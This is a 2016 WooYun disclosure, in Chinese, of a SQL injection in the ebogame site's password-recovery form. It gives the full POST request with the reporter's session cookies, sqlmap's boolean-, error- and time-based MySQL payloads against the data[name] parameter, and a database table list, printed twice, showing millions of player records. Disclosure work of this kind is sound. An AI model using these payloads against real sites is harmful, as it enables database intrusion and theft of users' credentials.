当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0191682

漏洞标题：ebogame主站post注入涉及402W万玩家信息(用户名/密码/支付密码等)

相关厂商：ebogame

漏洞作者： DeadSea

提交时间：2016-04-02 11:30

修复时间：2016-05-21 11:50

公开时间：2016-05-21 11:50

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-04-02： 细节已通知厂商并且等待厂商处理中
2016-04-06： 厂商已经确认，细节仅向厂商公开
2016-04-16： 细节向核心白帽子及相关领域专家公开
2016-04-26： 细节向普通白帽子公开
2016-05-06： 细节向实习白帽子公开
2016-05-21： 细节向公众公开

简要描述：

RT!

详细说明：

http://**.**.**.**/user_findpwd.php?t=email


POST http://**.**.**.**/user_findpwd.php?t=doemail HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://**.**.**.**/user_findpwd.php?t=email
Cookie: Hm_lvt_878250ef6d9058d8708994370fb5132c=1459546008; Hm_lpvt_878250ef6d9058d8708994370fb5132c=1459549499; PHPSESSID=144d2qapb7kfrshd3jdrgv1m76; bdshare_firstime=1459549345620; mrand=243969013; msign=e777f9591b90b0ec41549c14f3e2ea66; MemberName=chinasea; NickName=sea; MemberId=3945514; MemberPass=3d3e9afcb73af50299c8ff572daebb46; bmforumerboardidnum=219
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
data%5Bname%5D=1111&data%5Bemail%5D=111111111%**.**.**.**&sub=%E6%8F%90%E4%BA%A4

data%5Bname%5D参数存在注入

sqlmap identified the following injection point(s) with a total of 358 HTTP(s) r
equests:
---
Parameter: data[name] (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: data[name]=-1228' OR 5159=5159#&data[email]=111111111@**.**.**.**&sub=%E
6%8F%90%E4%BA%A4
    Type: error-based
    Title: MySQL OR error-based - WHERE or HAVING clause
    Payload: data[name]=-5681' OR 1 GROUP BY CONCAT(0x71706a6b71,(SELECT (CASE W
HEN (3827=3827) THEN 1 ELSE 0 END)),0x716b767671,FLOOR(RAND(0)*2)) HAVING MIN(0)
#&data[email]=111111111@**.**.**.**&sub=%E6%8F%90%E4%BA%A4
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT - comment)
    Payload: data[name]=1111' AND (SELECT * FROM (SELECT(SLEEP(5)))XyKJ)#&data[e
mail]=111111111@**.**.**.**&sub=%E6%8F%90%E4%BA%A4
---
[06:38:13] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.3, Nginx
back-end DBMS: MySQL 5.0.12


数据如下:

+-----------------------------------+---------+
| Table                             | Entries |
+-----------------------------------+---------+
| ebogame_member_login              | 4026283 |
| ebogame_member                    | 2350328 |
| ebogame_activation                | 826836  |
| ebogame_member_integral           | 691708  |
| ebogame_charge_20160118           | 465322  |
| pre_ucenter_members               | 388347  |
| bbs_userlist                      | 340566  |
| ebogame_member_info               | 292054  |
| ebogame_member_serv               | 292044  |
| ebogame_member_char               | 241395  |
| ebogame_charge                    | 175353  |
| api_send_mail                     | 61235   |
| ebogame_advertising_click         | 52260   |
| pre_common_district               | 45051   |
| ebogame_charge_copy               | 43282   |
| ebogame_questions                 | 36047   |
| pre_forum_post                    | 27728   |
| ebogame_game_gift_code_17173      | 20000   |
| pre_home_notification             | 14236   |
| pre_common_credit_rule_log        | 13014   |
| pre_forum_thread                  | 12229   |
| pre_forum_threadpartake           | 10744   |
| pre_forum_threadmod               | 9011    |
| pre_common_member_count           | 8182    |
| pre_common_member_field_forum     | 8182    |
| pre_common_member_field_home      | 8182    |
| pre_common_member_profile         | 8182    |
| pre_common_member_status          | 8182    |
| pre_common_member                 | 8174    |
| pre_common_onlinetime             | 6443    |
| ebogame_game_code                 | 6210    |
| bbs_posts                         | 5157    |
| ebogame_game_gift_code            | 5000    |
| pre_forum_statlog                 | 4990    |
| pre_ucenter_memberfields          | 4811    |
| ebogame_member_price              | 3442    |
| ebogame_game_gift_code_           | 3000    |
| ebogame_content                   | 2640    |
| ebogame_extension_member          | 2591    |
| ebogame_news                      | 2288    |
| bbs_apclog                        | 2061    |
| ebogame_question_reply            | 1668    |
| pre_forum_attachment              | 1566    |
| pre_forum_pollvoter               | 1455    |
| bbs_actlogs                       | 1449    |
| pre_common_member_crime           | 1239    |
| pre_forum_modwork                 | 1003    |
| pre_common_stat                   | 899     |
| bbs_threads                       | 874     |
| pre_forum_thread_moderate         | 653     |
| ebogame_charge_heepay             | 591     |
| bbs_primsg                        | 517     |
| pre_common_member_action_log      | 496     |
| pre_ucenter_pm_indexes            | 419     |
| pre_forum_threadimage             | 405     |
| pre_common_setting                | 392     |
| ebogame_game_areas                | 358     |
| pre_forum_polloption              | 273     |
| pre_ucenter_pm_members            | 244     |
| pre_forum_attachment_1            | 222     |
| pre_forum_attachment_3            | 212     |
| pre_forum_attachment_4            | 180     |
| pre_forum_post_tableid            | 174     |
| pre_forum_attachment_9            | 168     |
| pre_forum_attachment_5            | 161     |
| sglj_extension                    | 154     |
| ebogame_advertising               | 151     |
| pre_ucenter_pm_lists              | 129     |
| pre_forum_attachment_7            | 124     |
| pre_common_tagitem                | 118     |
| bbs_ugoptlist                     | 115     |
| pre_ucenter_pm_messages_0         | 114     |
| pre_forum_threaddisablepos        | 110     |
| pre_forum_attachment_6            | 106     |
| pre_common_block_style            | 103     |
| pre_forum_attachment_unused       | 103     |
| pre_forum_attachment_0            | 102     |
| pre_forum_attachment_2            | 102     |
| pre_common_syscache               | 95      |
| pre_ucenter_notelist              | 90      |
| pre_common_smiley                 | 85      |
| pre_forum_attachment_8            | 85      |
| pre_forum_rsscache                | 80      |
| pre_ucenter_pm_messages_3         | 70      |
| pre_common_admincp_perm           | 67      |
| pre_common_member_profile_setting | 51      |
| pre_forum_poll                    | 49      |
| pre_ucenter_pm_messages_7         | 49      |
| pre_common_tag                    | 48      |
| pre_common_nav                    | 47      |
| pre_common_stylevar               | 45      |
| pre_ucenter_newpm                 | 40      |
| pre_forum_forumfield              | 38      |
| pre_forum_forum                   | 37      |
| pre_common_credit_log             | 36      |
| pre_ucenter_pm_messages_5         | 35      |
| ebogame_category                  | 33      |
| ebogame_price                     | 33      |
| pre_home_friend                   | 32      |
| pre_common_credit_rule            | 31      |
| pre_ucenter_pm_messages_2         | 31      |
| pre_home_friend_request           | 30      |
| pre_ucenter_pm_messages_6         | 29      |
| pre_ucenter_settings              | 26      |
| bbs_emoticons                     | 25      |
| ebogame_games                     | 25      |
| pre_ucenter_pm_messages_4         | 25      |
| bbs_search                        | 23      |
| pre_ucenter_pm_messages_8         | 23      |
| ebogame_extension_percent         | 22      |
| pre_ucenter_pm_messages_9         | 22      |
| ebogame_extension_settlemen       | 21      |
| pre_ucenter_pm_messages_1         | 21      |
| pre_common_cron                   | 18      |
| pre_common_usergroup              | 16      |
| pre_common_usergroup_field        | 16      |
| pre_home_friendlog                | 16      |
| bbs_forumdata                     | 15      |
| bbs_tags                          | 15      |
| pre_home_click                    | 15      |
| pre_common_report                 | 14      |
| pre_forum_threadclosed            | 14      |
| bbs_contacts                      | 13      |
| pre_forum_replycredit             | 13      |
| bbs_levels                        | 12      |
| pre_common_banned                 | 12      |
| pre_common_session                | 11      |
| pre_forum_poststick               | 11      |
| ebogame_game_gift_info_17173      | 10      |
| pre_forum_medal                   | 10      |
| ebogame_integral                  | 9       |
| pre_common_plugin                 | 9       |
| pre_home_favorite                 | 9       |
| bbs_usergroup                     | 8       |
| bbs_polls                         | 7       |
| pre_forum_warning                 | 7       |
| ebogame_extension                 | 6       |
| pre_common_pluginvar              | 6       |
| pre_forum_moderator               | 6       |
| pre_forum_typeoption              | 6       |
| pre_common_admincp_group          | 5       |
| pre_common_friendlink             | 5       |
| pre_common_admingroup             | 4       |
| pre_common_advertisement          | 4       |
| pre_forum_bbcode                  | 4       |
| pre_forum_onlinelist              | 4       |
| ebogame_game_gift_info_           | 3       |
| pre_common_admincp_member         | 3       |
| pre_common_failedlogin            | 3       |
| pre_forum_grouplevel              | 3       |
| pre_forum_imagetype               | 3       |
| pre_common_admincp_cmenu          | 2       |
| pre_common_block                  | 2       |
| pre_common_credit_rule_log_field  | 2       |
| pre_common_diy_data               | 2       |
| pre_common_patch                  | 2       |
| pre_common_regip                  | 2       |
| pre_common_template_block         | 2       |
| pre_common_word_type              | 2       |
| pre_home_poke                     | 2       |
| pre_home_pokearchive              | 2       |
| pre_mobile_setting                | 2       |
| bbs_favorites                     | 1       |
| bbs_lastest                       | 1       |
| pre_common_admincp_session        | 1       |
| pre_common_cache                  | 1       |
| pre_common_statuser               | 1       |
| pre_common_style                  | 1       |
| pre_common_template               | 1       |
| pre_ucenter_admins                | 1       |
| pre_ucenter_applications          | 1       |
| pre_ucenter_failedlogins          | 1       |
+-----------------------------------+---------+

漏洞证明：

+-----------------------------------+---------+
| Table                             | Entries |
+-----------------------------------+---------+
| ebogame_member_login              | 4026283 |
| ebogame_member                    | 2350328 |
| ebogame_activation                | 826836  |
| ebogame_member_integral           | 691708  |
| ebogame_charge_20160118           | 465322  |
| pre_ucenter_members               | 388347  |
| bbs_userlist                      | 340566  |
| ebogame_member_info               | 292054  |
| ebogame_member_serv               | 292044  |
| ebogame_member_char               | 241395  |
| ebogame_charge                    | 175353  |
| api_send_mail                     | 61235   |
| ebogame_advertising_click         | 52260   |
| pre_common_district               | 45051   |
| ebogame_charge_copy               | 43282   |
| ebogame_questions                 | 36047   |
| pre_forum_post                    | 27728   |
| ebogame_game_gift_code_17173      | 20000   |
| pre_home_notification             | 14236   |
| pre_common_credit_rule_log        | 13014   |
| pre_forum_thread                  | 12229   |
| pre_forum_threadpartake           | 10744   |
| pre_forum_threadmod               | 9011    |
| pre_common_member_count           | 8182    |
| pre_common_member_field_forum     | 8182    |
| pre_common_member_field_home      | 8182    |
| pre_common_member_profile         | 8182    |
| pre_common_member_status          | 8182    |
| pre_common_member                 | 8174    |
| pre_common_onlinetime             | 6443    |
| ebogame_game_code                 | 6210    |
| bbs_posts                         | 5157    |
| ebogame_game_gift_code            | 5000    |
| pre_forum_statlog                 | 4990    |
| pre_ucenter_memberfields          | 4811    |
| ebogame_member_price              | 3442    |
| ebogame_game_gift_code_           | 3000    |
| ebogame_content                   | 2640    |
| ebogame_extension_member          | 2591    |
| ebogame_news                      | 2288    |
| bbs_apclog                        | 2061    |
| ebogame_question_reply            | 1668    |
| pre_forum_attachment              | 1566    |
| pre_forum_pollvoter               | 1455    |
| bbs_actlogs                       | 1449    |
| pre_common_member_crime           | 1239    |
| pre_forum_modwork                 | 1003    |
| pre_common_stat                   | 899     |
| bbs_threads                       | 874     |
| pre_forum_thread_moderate         | 653     |
| ebogame_charge_heepay             | 591     |
| bbs_primsg                        | 517     |
| pre_common_member_action_log      | 496     |
| pre_ucenter_pm_indexes            | 419     |
| pre_forum_threadimage             | 405     |
| pre_common_setting                | 392     |
| ebogame_game_areas                | 358     |
| pre_forum_polloption              | 273     |
| pre_ucenter_pm_members            | 244     |
| pre_forum_attachment_1            | 222     |
| pre_forum_attachment_3            | 212     |
| pre_forum_attachment_4            | 180     |
| pre_forum_post_tableid            | 174     |
| pre_forum_attachment_9            | 168     |
| pre_forum_attachment_5            | 161     |
| sglj_extension                    | 154     |
| ebogame_advertising               | 151     |
| pre_ucenter_pm_lists              | 129     |
| pre_forum_attachment_7            | 124     |
| pre_common_tagitem                | 118     |
| bbs_ugoptlist                     | 115     |
| pre_ucenter_pm_messages_0         | 114     |
| pre_forum_threaddisablepos        | 110     |
| pre_forum_attachment_6            | 106     |
| pre_common_block_style            | 103     |
| pre_forum_attachment_unused       | 103     |
| pre_forum_attachment_0            | 102     |
| pre_forum_attachment_2            | 102     |
| pre_common_syscache               | 95      |
| pre_ucenter_notelist              | 90      |
| pre_common_smiley                 | 85      |
| pre_forum_attachment_8            | 85      |
| pre_forum_rsscache                | 80      |
| pre_ucenter_pm_messages_3         | 70      |
| pre_common_admincp_perm           | 67      |
| pre_common_member_profile_setting | 51      |
| pre_forum_poll                    | 49      |
| pre_ucenter_pm_messages_7         | 49      |
| pre_common_tag                    | 48      |
| pre_common_nav                    | 47      |
| pre_common_stylevar               | 45      |
| pre_ucenter_newpm                 | 40      |
| pre_forum_forumfield              | 38      |
| pre_forum_forum                   | 37      |
| pre_common_credit_log             | 36      |
| pre_ucenter_pm_messages_5         | 35      |
| ebogame_category                  | 33      |
| ebogame_price                     | 33      |
| pre_home_friend                   | 32      |
| pre_common_credit_rule            | 31      |
| pre_ucenter_pm_messages_2         | 31      |
| pre_home_friend_request           | 30      |
| pre_ucenter_pm_messages_6         | 29      |
| pre_ucenter_settings              | 26      |
| bbs_emoticons                     | 25      |
| ebogame_games                     | 25      |
| pre_ucenter_pm_messages_4         | 25      |
| bbs_search                        | 23      |
| pre_ucenter_pm_messages_8         | 23      |
| ebogame_extension_percent         | 22      |
| pre_ucenter_pm_messages_9         | 22      |
| ebogame_extension_settlemen       | 21      |
| pre_ucenter_pm_messages_1         | 21      |
| pre_common_cron                   | 18      |
| pre_common_usergroup              | 16      |
| pre_common_usergroup_field        | 16      |
| pre_home_friendlog                | 16      |
| bbs_forumdata                     | 15      |
| bbs_tags                          | 15      |
| pre_home_click                    | 15      |
| pre_common_report                 | 14      |
| pre_forum_threadclosed            | 14      |
| bbs_contacts                      | 13      |
| pre_forum_replycredit             | 13      |
| bbs_levels                        | 12      |
| pre_common_banned                 | 12      |
| pre_common_session                | 11      |
| pre_forum_poststick               | 11      |
| ebogame_game_gift_info_17173      | 10      |
| pre_forum_medal                   | 10      |
| ebogame_integral                  | 9       |
| pre_common_plugin                 | 9       |
| pre_home_favorite                 | 9       |
| bbs_usergroup                     | 8       |
| bbs_polls                         | 7       |
| pre_forum_warning                 | 7       |
| ebogame_extension                 | 6       |
| pre_common_pluginvar              | 6       |
| pre_forum_moderator               | 6       |
| pre_forum_typeoption              | 6       |
| pre_common_admincp_group          | 5       |
| pre_common_friendlink             | 5       |
| pre_common_admingroup             | 4       |
| pre_common_advertisement          | 4       |
| pre_forum_bbcode                  | 4       |
| pre_forum_onlinelist              | 4       |
| ebogame_game_gift_info_           | 3       |
| pre_common_admincp_member         | 3       |
| pre_common_failedlogin            | 3       |
| pre_forum_grouplevel              | 3       |
| pre_forum_imagetype               | 3       |
| pre_common_admincp_cmenu          | 2       |
| pre_common_block                  | 2       |
| pre_common_credit_rule_log_field  | 2       |
| pre_common_diy_data               | 2       |
| pre_common_patch                  | 2       |
| pre_common_regip                  | 2       |
| pre_common_template_block         | 2       |
| pre_common_word_type              | 2       |
| pre_home_poke                     | 2       |
| pre_home_pokearchive              | 2       |
| pre_mobile_setting                | 2       |
| bbs_favorites                     | 1       |
| bbs_lastest                       | 1       |
| pre_common_admincp_session        | 1       |
| pre_common_cache                  | 1       |
| pre_common_statuser               | 1       |
| pre_common_style                  | 1       |
| pre_common_template               | 1       |
| pre_ucenter_admins                | 1       |
| pre_ucenter_applications          | 1       |
| pre_ucenter_failedlogins          | 1       |
+-----------------------------------+---------+

修复方案：

版权声明：转载请注明来源 DeadSea@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2016-04-06 11:41

厂商回复：

CNVD未直接复现所述情况，暂未建立与网站管理单位的直接处置渠道，待认领。

最新状态：

暂无